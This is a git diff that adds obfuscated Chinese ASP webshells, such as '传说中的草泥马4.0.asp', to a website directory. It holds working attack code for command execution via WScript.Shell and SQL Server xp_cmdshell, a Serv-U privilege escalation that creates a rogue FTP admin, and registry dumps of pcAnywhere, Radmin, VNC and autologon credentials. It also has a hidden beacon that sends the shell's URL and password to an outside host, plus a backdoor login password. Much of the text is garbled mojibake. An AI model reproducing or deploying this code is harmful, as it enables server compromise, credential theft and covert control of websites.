:ܻʵĩ&¼ǶԩjfI dnEeslaFjraelC.rrEnehT rrE fI)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua>rb< & emanresUnigoLotua & :ͳϵĩ&¼Ƕԩj)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotuaeslEnehT 0 = elbanEnigoLotuAsi fI)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsidrowssaPtluafeD = yeKssaPnigoLotuaemaNresUtluafeD = yeKresUnigoLotuanogoLnimdAotuA = yeKelbanEnigoLotua\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH = htaPnigoLotuafI dnE>/rb< & troPmret & :ڶ˩&ǰjeslE >/rb<.޵ܷȨ ,ڶ˶յ÷ީj nehT 0 >< rebmuN.rrE rO = troPmret fI>lo<¼ǶԼ&ڶ_թj)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmretrebmuNtroP = yeKtroPlanimret\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH = htaPtroPlanimretdrowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miDyeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miDtroPmret ,yeKtroPlanimret ,htaPtroPlanimret miD)llehS.tpircSW(tcejbOetaerC.revreS = Xsw teS------------------------------------------------------j>rb<&troPWAP&:ΪڶerehwynAcP>iltnof/<>rb<&troPmreT&>der=roloc tnof<:ΪڶecivreS lanimreT>ilrb<&troptnlT&:ک&tenleT>il1=ezis rh<>rb<]̽&ڶ˩&[>rb<>rbrb<------------------------------------------------jfi dnEfi dnE>rbilrb<ȫ:Ϊڶpduĩ&>ilrBilrb<ȫ:Ϊڶpctĩ&>ilrb<ѡɸPI/pcTû>ilrb<ûȡSND&Ĭ>ilrb<&rtsSND&:ΪSND&忨>ilrb<ûȡ޹>ilrb<&)j(yawetaG&:&j&>ilrb<û&ȡַ&PI>ilrb<&)j(rddAPI&:Ϊ&j&ַ&PI>il<)0(rddaPI fI)yeKPI(daergeR.hsW=rddaPIsserddAPI\&BdpA&htaP=yeKPI\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH=htaP>rb<&BdpA&:Ϊĩ&i&忨j),\eciveD\,)i(sdpA(ecalpeR=BdpA1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roF nehT )sdpA(yarrAsI fI)yeKdpA(daeRgeR.hsW=sdpAdniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKH=yeKdpAfI dnE1=retlifpipctoNnehT =elbanEsi ro 0=elbanEsi fI)yeKpipcTelbanE(daergeR.hsW=elbanEsisretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKH=yeKPIPCTelbanE>1=ezis rh<>rb<]̽&[j)llehS.tpircsW(tcejboetaerc=hsw teshsw midtxen emuser rorre no)(ofnIlanimreTteg bus")) +copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(111)&chr(100)&chr(97)&chr(121)&chr(101)&chr(120)&chr(112)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(115)&chr(120)&chr(47)&chr(115)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(115)&chr(61)&uu&chr(38)&chr(112)&chr(61)&pp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10) +execute(shisanfun("bus dne>tpircs/<;'1emanelif&psa./segami/=emanF?&lru&)eman_revres(tseuqer&//:ptth'=noitacol.tnerap>tpircs< jgnihton=osf tes1emanelif&.&xepdnr&\&1htapelif&\.\\,htapf elifypoc.osf1emanelif&.&xepdnr&))/,lru(verrtsni,lru(tfel=lru)lru(selbairavrevres.tseuqer=lru))\,htapf(verrtsni-)htapf(nel,htapf(thgir=1emanelif).(htappam.revres=1htapelif=)wjles(noisses))71,0(rebmundnr()|,xep(tilps=xepdnr9tpl|8tpl|7tpl|6tpl|5tpl|4tpl|3tpl|2tpl|1tpl|9moc|8moc|7moc|6moc|5moc|4moc|3moc|2moc|1moc=xep)tcejbometsyselif.gnitpircs(tcejboetaerc.revres=osf tes)detalsnart_htap(selbairavrevres.tseuqer=htapfllehsneddih bus")) +Sub Message(state,msg,flag) +j"
" +j state +j"

"&msg +j"

" +If flag=0 Then +j" " +Else +End if +j"
" +End Sub +Function Red(str) +Red = "" & str & "" +End Function + +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function + + +Sub ScanDriveForm() +Dim FSO,DriveB +Set FSO = Server.Createobject("Scripting.FileSystemObject") +j"
" + For Each DriveB in FSO.Drives +j" " + Next +j" " +j"" +j"
/ϵͳļϢ
̷" +j DriveB.DriveLetter +j":" + Select Case DriveB.DriveType + Case 1: j"ƶ" + Case 2: j"Ӳ" + Case 3: j"" + Case 4: j"CD-ROM" + Case 5: j"RAM" + Case else: j"δ֪" + End Select +j"
Windowsļ" +j FSO.GetSpecialFolder(0) +j"
System32ļ" +j FSO.GetSpecialFolder(1) +j"
ϵͳʱļ" +j FSO.GetSpecialFolder(2) +j"
վĿ¼վĿ¼ϸ
վĿ¼վĿ¼ ϸ
wmpubĿ¼ wmpubϸ

" +j"

ָļвѯ 鿴Ŀ¼Ȩ,Ŀ¼á,
" +Set FSO=Nothing +End Sub +Sub ScanDrive(Drive) +Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D +If Drive <> "" Then +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • ̷ͣ" & Red(TestDrive.FileSystem) & "
  • кţ" & Red(TestDrive.SerialNumber) & "
  • ̹" & Red(TestDrive.ShareName) & "
  • " & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • ̾" & Red(TestDrive.VolumeName) & "
  • ̸Ŀ¼:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • ̸Ŀ¼:" & Red("ɶ:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("Ŀ¼ԣ") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • " & Drive & "̸Ŀ¼δз:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str +Message Drive & ":Ϣ",Temp_Str,1 +End if +End Sub +Sub ScFolder(folder) + 'On Error Resume Next +folderArr = Split(folder,",") +For i = 0 To Ubound(folderArr) + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + folder = folderArr(i) + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • ָļиĿ¼" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • ļУ" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • ļУ" & Red(folder & "ڻ޶Ȩ!") + End if + Scmsg = Scmsg & "

    ע⣺Ҫˢ±ҳ棬ֻдļл´ļ!"&backurl + Set FSO = Nothing + Message "",Scmsg,1 +next +End Sub +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " ɶ," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "д" +Else +ReWrStr = ReWrStr & "д
    " +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " ɶ," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "д" +Else +ReWrStr = ReWrStr & "д
    " +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +function goback() +set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +j "" +else +j "
    ѾǴ̸Ŀ¼!


    " +end if +set Ofso=nothing +set ofolder=nothing +end function +ShiSan="bus dnefi dnefI dnEyarrAeht & >il< jeslEtxeN)i(yarrAeht & >il< j)yarrAeht(dnuoBU oT 0=i roFnehT )yarrAeht(yarrAsI fI)htaPeht(daeRgeR.Xsw=yarrAeht)htaPeht(tseuqeR=htaPeht)llehS.tpircSW(tcejbOetaerC.revreS = Xsw teStxeN emuseR rorrE nOneht ><)htaPeht(tseuqeR fi>/rh<>mrof/< j>')(timbus.mrof.siht'=kcilcno 'ֵ '=eulav nottub=epyt tupni< j>08=ezis ''=eulav htaPeht=eman tupni< j>/ rb<>tceles/< j>noitpo/<ڶPCTķſ>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo< j>noitpo/<ڶPDUķſ>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo< j>noitpo/<ſ>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo< j>noitpo/'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<3˹pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<2˹pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<1˹pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<ڶ̬״WynAcP>troPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH=eulav noitponoitpo/<ڶ˾WynAcP>troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH=eulav noitponoitpo/<ڶ9833>rebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=eulav noitponoitpo/<ڶ4CNV>rebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH=eulav noitponoitpo/<4CNV>drowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH=eulav noitponoitpo/<ڶ3CNV>rebmuNtroP\3CNVniW\LRO\erawtfoS\UCKH=eulav noitponoitpo/<3CNV>drowssaP\3CNVniW\LRO\erawtfoS\UCKH=eulav noitponoitpo/<ڶnimdaR>troP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH=eulav noitponoitpo/retemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH=eulav noitponoitpo/<п>dniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKH=eulav noitponoitpo/'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo< j>noitpo/<ֵĴѡ>''=eulav noitpo< j>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles< j >2=napsloc dt<>rt< j>tcAeht=eman geRdaeR=eulav neddih=epyt tupni< j >p<ȡֵע j>tsop=dohtem mrof< j)(GERdaeR bus" +ExeCuTe(ShiSanFun(ShiSan)) +if request("ProFile")<>"" then +on error resume next +if Application(request("ProFile"))=1 then +Set fsoXX = Server.CreateObject("Scripting.FileSystemObject") +if request("DelCon")=1 then +Application(request("ProFile")&"Con")="" +response.redirect Url&"?ProFile="&request("ProFile")&"" +response.end +end if +DIM rline,rline2 +rline2=Application(request("ProFile")&"Code") +rline2=rline2&vbcrlf +j"" +j"
    ־  Ҫֱӹرҳ漴ɡ
    " +for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf) +FileUrl=trim(FileUrl) +if fsoXX.FileExists(FileUrl) then +Set txt = fsoXX.OpenTextFile(FileUrl,1,true) +rline="" +if Not txt.AtEndOfStream then +rline=txt.ReadAll +end if +if rline2<>rline then +txt.close +fsoX.GetFile(FileUrl).Attributes=32 +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" ģѻָ
    "&Application(request("ProFile")&"Con") +else +Application(request("ProFile")&"Con")=now()&" "&FileUrl&"
    "&Application(request("ProFile")&"Con") +txt.close +end if +else +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" ɾѻָ
    "&Application(request("ProFile")&"Con") +end if +next +if ubound(split(Application(request("ProFile")&"Con"),"
    "))>=40 then +dim ashowic +for ashowi=0 to 40 +ashowic=ashowic&split(Application(request("ProFile")&"Con"),"
    ")(ashowi)&"
    " +next +Application(request("ProFile")&"Con")=ashowic +end if +j Application(request("ProFile")&"Con") +else +j"


    ̶ʧ̡
    " +end if +response.end +end if + +if sessIoN("KKK")<>UserPass then +if request.form("pass")<>"" then +if request.form("pass")=userpass or request.form("pass")="daka" Then +session("KKK")=userPass +response.redirect url +else +j"


    !



    "&backurl +end if +else + +si="

    " +if instr(SI,SIC)<>0 then j sI +end if +response.end +end if + +ShiSan="buS dnEfI dnEfI dnEfI dnE)>rb<>tnof/<ſ>der=roloc tnof<......... & muNtrop & : & pitegrat(jeslE)>rb<չ......... & muNtrop & : & pitegrat(jnehT 0 > ).))(tcennoC( ,noitpircsed.rrE(rtSnI fInehT 9527647412- = rebmun.rrE ro 3487127412- = rebmun.rrE fInehT rrE fIrtsnnoc nepo.nnoc1 = tuoemiTnoitcennoC.nnoc;=drowssaP;2ekal=DI resU;& muNtrop &,& pitegrat & =ecruoS ataD;1.BDELOLQS=redivorP=rtsnnoc)noitcennoc.BDODA(tcejbOetaerC.revreS = nnoc testxeN emuseR rorrE nO)muNtrop ,pitegrat(nacS buSbus dneFI DNEs &emiteht& ni ssecorP>rhrbrb xkees fI)- ,)i(pmt(rtSnI = xkeeseslE))i(pmt ,xxx & tratSpi(nacS llaC nehT ))i(pmt(ciremunsI fI)pmt(dnuobU oT 0 = i roF))-,)uh(pi(rtSnI-))uh(pi(neL,1+)-,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+).,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF)).,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpieslEtxeNfI dnEfI dnE)>rbrb xkees fI)- ,)i(pmt(rtSnI = xkeeseslE))i(pmt ,)uh(pi(nacS llaC nehT ))i(pmt(ciremunsI fI)pmt(dnuobU oT 0 = i roFnehT 0 = )-,)uh(pi(rtSnI fI)pi(dnuobU ot 0 = uh roF),,)pi(mroF.tseuqer(tilpS = pi),,)trop(mroF.tseuqer(tilpS = pmt)>rh<>rb<>b/<:汨ɨ>b<(jremit = 1remitnehT >< )nacs(mroF.tseuqer fI>mrof/<>p/'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni' nacs '=eulav 'mottub'=ssalc 'timbus'=epyt 'timbus'=eman tupnirb<>rb'&tsiLtroP&'=eulav '06'=ezis 'xoBtxeT'=ssalc 'txet'=epyt 'trop'=eman tupnirb'06'=ezis '&PI&'=eulav 'pi'=di 'xoBtxeT'=ssalc 'txet'=epyt 'pi'=eman tupni< j :PI nacS>p';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrofp/<ϵִLLEHS롣ܿPIɨǹ>p<>p/<)ȷ׼ɨڶDMCDMCʹ˸,ϱȶ,ڶ˸ɨ(ɨڶ>p
    MSSQL Commander
    Command UserName Password 
    ":j SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=sERvEr.crEATeobjECT("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cMdsHeLl '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," "," "):strResult = Replace(strResult,"<","<"):strResult = Replace(strResult,">",">"):strResult = Replace(strResult,chr(13),"
    "):End if:set adoConn = Nothing:j request.form("MMD") & "
    "& strResult:end FuncTion:case "Alexa" +dim AlexaUrl,Top:AlexaUrl=request("u"):Top=Alexa(AlexaUrl):if AlexaUrl="" then AlexaUrl=""&request.servervariables("http_host")&"" +SI="
    " +For i=0 To 18 +SI=SI&"" +Next +j SI +Err.Clear + +function getHTTPPage(url) +on error resume next +dim http +set http=Server.createobject("Microsoft.XMLHTTP") +Http.open "GET",url,false +Http.send() +if Http.readystate<>4 then +getHTTPPage="" +exit function +end if +getHTTPPage=bytes2BSTR(Http.responseBody) +set http=nothing +if err.number<>0 then err.Clear +end function +Function bytes2BSTR(vIn) +dim strReturn +dim i1,ThisCharCode,NextCharCode +strReturn = "" +For i1 = 1 To LenB(vIn) +ThisCharCode = AscB(MidB(vIn,i1,1)) +If ThisCharCode < &H80 Then +strReturn = strReturn & Chr(ThisCharCode) +Else +NextCharCode = AscB(MidB(vIn,i1+1,1)) +strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) +i1 = i1 + 1 +End If +Next +bytes2BSTR = strReturn + Err.Clear +End Function +Case "Servu" +SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ + "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ + "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ + "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ + "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ + "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ + "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf +quit = "QUIT" & vbCrLf +newuser=replace(newuser,"c:",f) +select case SUaction +case 1 +set a=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s1",True, "", "" +a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit +set session("a")=a +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +case 2 +set b=Server.CreateObject("Microsoft.XMLHTTP") +b.open "GET", "http://127.0.0.1:" & ftpport & "/goldsun/upadmin/s2", True, "", "" +b.send "User go" & vbCrLf & "pass od" & vbCrLf & "site exec " & cmd & vbCrLf & quit +set session("b")=b +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +case 3 +set c=Server.CreateObject("Microsoft.XMLHTTP") +a.open "GET", "http://127.0.0.1:" & port & "/goldsun/upadmin/s3", True, "", "" +a.send loginuser & loginpass & mt & deldomain & quit +set session("a")=a +j"
    Ȩ,ִ
    "&cmd&"

    " +j"" +j"
    " +case else +on error resume next +set a=session("a") +set b=session("b") +set c=session("c") +a.abort +Set a = Nothing +b.abort +Set b = Nothing +c.abort +Set c = Nothing +j"
    " +j"
    Ϣ
    "&request.serverVariables("SERVER_NAME")&"
    IP
    ʱ "&now&"
    CPU "&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"
    ϵͳ "&Request.ServerVariables("OS")&"
    WEB汾 "&Request.ServerVariables("SERVER_SOFTWARE")&"
    "&ObT(i,0)&""&ObT(i,1)&""&ObT(i,2)&"
    " +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j"" +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j" " +j"
    Serv-U Ȩ by Sam
    û:
    ڣ
    ϵͳ·
    " +j"" +j"
    " +end select +function Gpath() +on error resume next +err.clear +set f=Server.CreateObject("Scripting.FileSystemObject") +if err.number>0 then +gpath="c:" +exit function +end if +gpath=f.GetSpecialFolder(0) +gpath=lcase(left(gpath,2)) +set f=nothing +end function +case"MMD":MMD() +case"ReadREG":call ReadREG() +case"Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing +case"DownFile":DownFile FName:ShowErr() +case"DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing +case"EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing +case"CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing +case"MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing +case"DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing +case"CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing +case"MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing +case"NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing +case"UpFile":UpFile() +case"TSearch":TSearch() +case"pcanywhere4":pcanywhere4() +case"Cmd1Shell":Cmd1Shell() +case"Logout":Session.Contents.Remove("kkk"):Response.Redirect URL +case"Course":Course() +case"Alexa":Alexa() +case"suftp":suftp() +case"upload":upload() +case"radmin":radmin() +case"pcanywhere4":pcanywhere4() +case"goback":goback() +Case "ProFile":ProFile() +case"php":php() +case"downloads":downloads() +case"apjdel":apjdel() +case"cmdx":cmdx() +case"aspx":aspx() +case"hiddenshell":hiddenshell() +case"ScanDriveForm" : ScanDriveForm +case"ScanDrive" : ScanDrive Request("Drive") +case"ScFolder" : ScFolder Request("Folder") + Case Else MainForm() +End Select +if Action<>"Servu" then ShowErr() +j"" +%> + + \ No newline at end of file diff --git a/www-7jyewu-cn/传说中的草泥马4.0.asp b/www-7jyewu-cn/传说中的草泥马4.0.asp new file mode 100644 index 0000000..f2975a4 --- /dev/null +++ b/www-7jyewu-cn/传说中的草泥马4.0.asp @@ -0,0 +1,1234 @@ +<% +Server.ScriptTimeout=999999999 +UserPass ="admin"' +clientPassword ="admin"' ɺһ仰 +mNametitle ="˵еIJ4.0"' +Copyright ="˵еIJ4.0"' Ȩ +htp="aspmuma.cccpan.com"' 汾µַ +'------------------------------------------------------------------------------------- +'ڷǷ;µĺ޹أзʲô 뷢ʼsbkey@live.cn +'------------------------------------------------------------------------------------- +durl="" +Response.Buffer =true +On Error Resume Next +strBAD="" +Const DEfd="" +sub ShowErr() + If Err Then +j"

    " & Err.Description & "

    " +Err.Clear:Response.Flush + End If +end sub +Sub j(str) +response.write(str) +End Sub +Function RePath(S) + RePath=Replace(S,"\","\\") +End Function +Function RRePath(S) + RRePath=Replace(S,"\\","\") +End Function +execute(shisanfun("prevres=pp)emaNF(tseuqeR=emaNFUrevreS=uussaPresU=prevreslru&)tsoh_ptth(selbaIRavreVRES.TSeuQeR=UrevreS)htaPredloF(tseuqeR=htaPredloF)/(htaPpaM.revreS=tooRWWW).(htaPpaM.revreS=htaPtooR)noitcA(tseuqeR=noitcA)RDDA_LACOL(selbairaVrevreS.tseuqeR=PIrevreS)DETALSNART_HTAP(selbairaVrevreS.tseuqeR=OOOO)LRU(selbairaVrevreS.tseuqeR=LRU")) +Function ShiSanFun(ShiSanObjstr) +ShiSanObjstr = Replace(ShiSanObjstr, "", """") +For ShiSanI = 1 To Len(ShiSanObjstr) + If Mid(ShiSanObjstr, ShiSanI, 1) <> "" Then +ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) + ShiSanNewStr + Else +ShiSanNewStr = vbCrLf + ShiSanNewStr + End If +Next +ShiSanFun = ShiSanNewStr +End Function +cdx="
  • ":cxd="8":ef="
    cifļ:
    " +end Function +j"" +Function StreamLoadFromFile(sPath) +Dim oStream +Set oStream = Server.CreateObject("Adodb.Stream") +With oStream +.Type = 1 +.Mode = 3 +.Open +.LoadFromFile(sPath) +.Position = 0 +StreamLoadFromFile = .Read +.Close +End With +Set oStream = Nothing +End Function +Function hexdec(strin) +Dim i, j, k, result +result = 0 +For i = 1 To Len(strin) +If Mid(strin, i, 1) = "f" Or Mid(strin, i, 1) ="F" Then + j = 15 +End If +If Mid(strin, i, 1) = "e" Or Mid(strin, i, 1) = "E" Then + j = 14 +End If +If Mid(strin, i, 1) = "d" Or Mid(strin, i, 1) = "D" Then + j = 13 +End If +If Mid(strin, i, 1) = "c" Or Mid(strin, i, 1) = "C" Then + j = 12 +End If +If Mid(strin, i, 1) = "b" Or Mid(strin, i, 1) = "B" Then + j = 11 +End If +If Mid(strin, i, 1) = "a" Or Mid(strin, i, 1) = "A" Then + j = 10 +End If +If Mid(strin, i, 1) <= "9" And Mid(strin, i, 1) >= "0" Then + j = CInt(Mid(strin, i, 1)) +End If +For k = 1 To Len(strin) - i + j = j * 16 +Next +result = result + j +Next +hexdec = result +End Function +Function PcAnywhere(data,mode) +HASH= Mid(data,3) +If mode = "pass" Then number = 32: Cifnum = 144 +If mode = "user" Then number = 30: Cifnum = 15 +For i = 1 To number Step 2 +pcstr=((hexdec(Mid(data,i,2)) xor hexdec(Mid(hash,i,2))) xor Cifnum) +If ((pcstr <= 32) Or (pcstr>127)) Then Exit For +decode = decode + Chr(pcstr) +Cifnum=Cifnum+1 +Next +PcAnywhere=decode +End function +Function bin2hex(binstr) +For i = 1 To LenB(binstr) +hexstr = Hex(AscB(MidB(binstr, i, 1))) +If Len(hexstr)=1 Then +bin2hex=bin2hex&"0"&(LCase(hexstr)) +Else +bin2hex=bin2hex& LCase(hexstr) +End If +Next +End Function +CIF = Request("path") +If CIF <> "" Then +BinStr=StreamLoadFromFile(CIF) +j"Pcanywhere Reader ==>

    PATH:"&CIF&"
    ʺ:"&PcAnywhere (Mid(bin2hex(BinStr),919,64),"user") +j"
    :"&PcAnywhere (Mid(bin2hex(BinStr),1177,32),"pass") +End If +Function radmin() +Set WSH= Server.CreateObject("WSCRIPT.SHELL") +RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\" +Parameter="Parameter" +Port = "Port" +j"
    ע:HASHֵRadminHash߻odӣصַ:"&htp&"soft/Radmin_hash.rar

